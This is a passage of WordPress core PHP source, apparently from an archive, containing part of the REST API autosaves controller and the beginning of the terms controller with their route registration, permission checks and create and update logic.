		$this->namespace            = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<id>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the autosave.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'The ID for the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Get the parent post.
	 *
	 * @since 5.0.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Checks if a given request has access to get autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to view autosaves of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to create an autosave revision.
	 *
	 * Autosave revisions inherit permissions from the parent post,
	 * check if the current user has permission to edit the post.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$id = $request->get_param( 'id' );

		if ( empty( $id ) ) {
			return new WP_Error(
				'rest_post_invalid_id',
				__( 'Invalid item ID.' ),
				array( 'status' => 404 )
			);
		}

		return $this->parent_controller->update_item_permissions_check( $request );
	}

	/**
	 * Creates, updates or deletes an autosave revision.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {

		if ( ! defined( 'WP_RUN_CORE_TESTS' ) && ! defined( 'DOING_AUTOSAVE' ) ) {
			define( 'DOING_AUTOSAVE', true );
		}

		$post = $this->get_parent( $request['id'] );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$prepared_post     = $this->parent_controller->prepare_item_for_database( $request );
		$prepared_post->ID = $post->ID;
		$user_id           = get_current_user_id();

		// We need to check post lock to ensure the original author didn't leave their browser tab open.
		if ( ! function_exists( 'wp_check_post_lock' ) ) {
			require_once ABSPATH . 'wp-admin/includes/post.php';
		}

		$post_lock = wp_check_post_lock( $post->ID );
		$is_draft  = 'draft' === $post->post_status || 'auto-draft' === $post->post_status;

		if ( $is_draft && (int) $post->post_author === $user_id && ! $post_lock ) {
			/*
			 * Draft posts for the same author: autosaving updates the post and does not create a revision.
			 * Convert the post object to an array and add slashes, wp_update_post() expects escaped array.
			 */
			$autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true );
		} else {
			// Non-draft posts: create or update the post autosave. Pass the meta data.
			$autosave_id = $this->create_post_autosave( (array) $prepared_post, (array) $request->get_param( 'meta' ) );
		}

		if ( is_wp_error( $autosave_id ) ) {
			return $autosave_id;
		}

		$autosave = get_post( $autosave_id );
		$request->set_param( 'context', 'edit' );

		$response = $this->prepare_item_for_response( $autosave, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Get the autosave, if the ID is valid.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent_id = (int) $request->get_param( 'parent' );

		if ( $parent_id <= 0 ) {
			return new WP_Error(
				'rest_post_invalid_id',
				__( 'Invalid post parent ID.' ),
				array( 'status' => 404 )
			);
		}

		$autosave = wp_get_post_autosave( $parent_id );

		if ( ! $autosave ) {
			return new WP_Error(
				'rest_post_no_autosave',
				__( 'There is no autosave revision for this post.' ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Gets a collection of autosaves using wp_get_post_autosave.
	 *
	 * Contains the user's autosave, for empty if it doesn't exist.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}
		$response  = array();
		$parent_id = $parent->ID;
		$revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) );

		foreach ( $revisions as $revision ) {
			if ( str_contains( $revision->post_name, "{$parent_id}-autosave" ) ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		return rest_ensure_response( $response );
	}


	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = $this->revisions_controller->get_item_schema();

		$schema['properties']['preview_link'] = array(
			'description' => __( 'Preview link for the post.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Creates autosave for the specified post.
	 *
	 * From wp-admin/post.php.
	 *
	 * @since 5.0.0
	 * @since 6.4.0 The `$meta` parameter was added.
	 *
	 * @param array $post_data Associative array containing the post data.
	 * @param array $meta      Associative array containing the post meta data.
	 * @return mixed The autosave revision ID or WP_Error.
	 */
	public function create_post_autosave( $post_data, array $meta = array() ) {

		$post_id = (int) $post_data['ID'];
		$post    = get_post( $post_id );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// Only create an autosave when it is different from the saved post.
		$autosave_is_different = false;
		$new_autosave          = _wp_post_revision_data( $post_data, true );

		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
			if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) {
				$autosave_is_different = true;
				break;
			}
		}

		// Check if meta values have changed.
		if ( ! empty( $meta ) ) {
			$revisioned_meta_keys = wp_post_revision_meta_keys( $post->post_type );
			foreach ( $revisioned_meta_keys as $meta_key ) {
				// get_metadata_raw is used to avoid retrieving the default value.
				$old_meta = get_metadata_raw( 'post', $post_id, $meta_key, true );
				$new_meta = isset( $meta[ $meta_key ] ) ? $meta[ $meta_key ] : '';

				if ( $new_meta !== $old_meta ) {
					$autosave_is_different = true;
					break;
				}
			}
		}

		$user_id = get_current_user_id();

		// Store one autosave per author. If there is already an autosave, overwrite it.
		$old_autosave = wp_get_post_autosave( $post_id, $user_id );

		if ( ! $autosave_is_different && $old_autosave ) {
			// Nothing to save, return the existing autosave.
			return $old_autosave->ID;
		}

		if ( $old_autosave ) {
			$new_autosave['ID']          = $old_autosave->ID;
			$new_autosave['post_author'] = $user_id;

			/** This filter is documented in wp-admin/post.php */
			do_action( 'wp_creating_autosave', $new_autosave );

			// wp_update_post() expects escaped array.
			$revision_id = wp_update_post( wp_slash( $new_autosave ) );
		} else {
			// Create the new autosave as a special post revision.
			$revision_id = _wp_put_post_revision( $post_data, true );
		}

		if ( is_wp_error( $revision_id ) || 0 === $revision_id ) {
			return $revision_id;
		}

		// Attached any passed meta values that have revisions enabled.
		if ( ! empty( $meta ) ) {
			foreach ( $revisioned_meta_keys as $meta_key ) {
				if ( isset( $meta[ $meta_key ] ) ) {
					update_metadata( 'post', $revision_id, $meta_key, wp_slash( $meta[ $meta_key ] ) );
				}
			}
		}

		return $revision_id;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 5.0.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php */
			return apply_filters( 'rest_prepare_autosave', new WP_REST_Response( array() ), $post, $request );
		}
		$response = $this->revisions_controller->prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );

		if ( in_array( 'preview_link', $fields, true ) ) {
			$parent_id          = wp_is_post_autosave( $post );
			$preview_post_id    = false === $parent_id ? $post->ID : $parent_id;
			$preview_query_args = array();

			if ( false !== $parent_id ) {
				$preview_query_args['preview_id']    = $parent_id;
				$preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id );
			}

			$response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args );
		}

		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters a revision returned from the REST API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_autosave', $response, $post, $request );
	}

	/**
	 * Retrieves the query params for the autosaves collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-terms-controller.php000064400000105165151724720270015314 0ustar00<?php
/**
 * REST API: WP_REST_Terms_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to managed terms associated with a taxonomy via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Terms_Controller extends WP_REST_Controller {

	/**
	 * Taxonomy key.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Instance of a term meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Term_Meta_Fields
	 */
	protected $meta;

	/**
	 * Column to have the terms be sorted by.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $sort_column;

	/**
	 * Number of terms that were found.
	 *
	 * @since 4.7.0
	 * @var int
	 */
	protected $total_terms;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy key.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy  = $taxonomy;
		$tax_obj         = get_taxonomy( $taxonomy );
		$this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name;
		$this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Term_Meta_Fields( $taxonomy );
	}

	/**
	 * Registers the routes for terms.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the term.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as terms do not support trashing.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if the terms for a post can be read.
	 *
	 * @since 6.0.3
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool Whether the terms for the post can be read.
	 */
	public function check_read_terms_permission_for_post( $post, $request ) {
		// If the requested post isn't associated with this taxonomy, deny access.
		if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) {
			return false;
		}

		// Grant access if the post is publicly viewable.
		if ( is_post_publicly_viewable( $post ) ) {
			return true;
		}

		// Otherwise grant access if the post is readable by the logged-in user.
		if ( current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		// Otherwise, deny access.
		return false;
	}

	/**
	 * Checks if a request has access to read terms in the specified taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$tax_obj = get_taxonomy( $this->taxonomy );

		if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );

			if ( ! $post ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array(
						'status' => 400,
					)
				);
			}

			if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to view terms for this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves terms associated with a taxonomy.
	 *
	 * @since 4.7.0
	 * @since 6.8.0 Respect default query arguments set for the taxonomy upon registration.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'    => 'exclude',
			'include'    => 'include',
			'order'      => 'order',
			'orderby'    => 'orderby',
			'post'       => 'post',
			'hide_empty' => 'hide_empty',
			'per_page'   => 'number',
			'search'     => 'search',
			'slug'       => 'slug',
		);

		$prepared_args = array( 'taxonomy' => $this->taxonomy );

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'include_slugs' => 'slug__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) {
			if ( 0 === $request['parent'] ) {
				// Only query top-level terms.
				$prepared_args['parent'] = 0;
			} else {
				if ( $request['parent'] ) {
					$prepared_args['parent'] = $request['parent'];
				}
			}
		}

		/*
		 * When a taxonomy is registered with an 'args' array,
		 * those params override the `$args` passed to this function.
		 *
		 * We only need to do this if no `post` argument is provided.
		 * Otherwise, terms will be fetched using `wp_get_object_terms()`,
		 * which respects the default query arguments set for the taxonomy.
		 */
		if (
			empty( $prepared_args['post'] ) &&
			isset( $taxonomy_obj->args ) &&
			is_array( $taxonomy_obj->args )
		) {
			$prepared_args = array_merge( $prepared_args, $taxonomy_obj->args );
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only term IDs are required.
			$prepared_args['fields'] = 'ids';
			// Disable priming term meta for HEAD requests to improve performance.
			$prepared_args['update_term_meta_cache'] = false;
		}

		/**
		 * Filters get_terms() arguments when querying terms via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_category_query`
		 *  - `rest_post_tag_query`
		 *
		 * Enables adding extra arguments or setting defaults for a terms
		 * collection request.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/functions/get_terms/
		 *
		 * @param array           $prepared_args Array of arguments for get_terms().
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request );

		if ( ! empty( $prepared_args['post'] ) ) {
			$query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args );

			// Used when calling wp_count_terms() below.
			$prepared_args['object_ids'] = $prepared_args['post'];
		} else {
			$query_result = get_terms( $prepared_args );
		}

		$count_args = $prepared_args;

		unset( $count_args['number'], $count_args['offset'] );

		$total_terms = wp_count_terms( $count_args );

		// wp_count_terms() can return a falsey value when the term has no children.
		if ( ! $total_terms ) {
			$total_terms = 0;
		}

		if ( ! $is_head_request ) {
			$response = array();
			foreach ( $query_result as $term ) {
				if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
					continue;
				}

				$data       = $this->prepare_item_for_response( $term, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $response );

		// Store pagination values for headers.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$response->header( 'X-WP-Total', (int) $total_terms );

		$max_pages = (int) ceil( $total_terms / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the term, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$error = new WP_Error(
			'rest_term_invalid',
			__( 'Term does not exist.' ),
			array( 'status' => 404 )
		);

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return $error;
		}

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$term = get_term( (int) $id, $this->taxonomy );
		if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) {
			return $error;
		}

		return $term;
	}

	/**
	 * Checks if a request has access to read or edit the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to create a term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has access to create items, otherwise false or WP_Error object.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( ( is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->edit_terms ) )
			|| ( ! is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) );
		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */
			$term_id = $term->get_error_data( 'term_exists' );
			if ( $term_id ) {
				$existing_term = get_term( $term_id, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'term_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $term_id,
					)
				);
			}

			return $term;
		}

		$term = get_term( $term['term_id'], $this->taxonomy );

		/**
		 * Fires after a single term is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_category`
		 *  - `rest_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single term is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_after_insert_category`
		 *  - `rest_after_insert_post_tag`
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Checks if a request has access to update the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, false or WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_cannot_update',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we have something to update.
		if ( ! empty( $prepared_term ) ) {
			$update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to delete the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object.
	 */
	public function delete_item_permissions_check( $request ) {
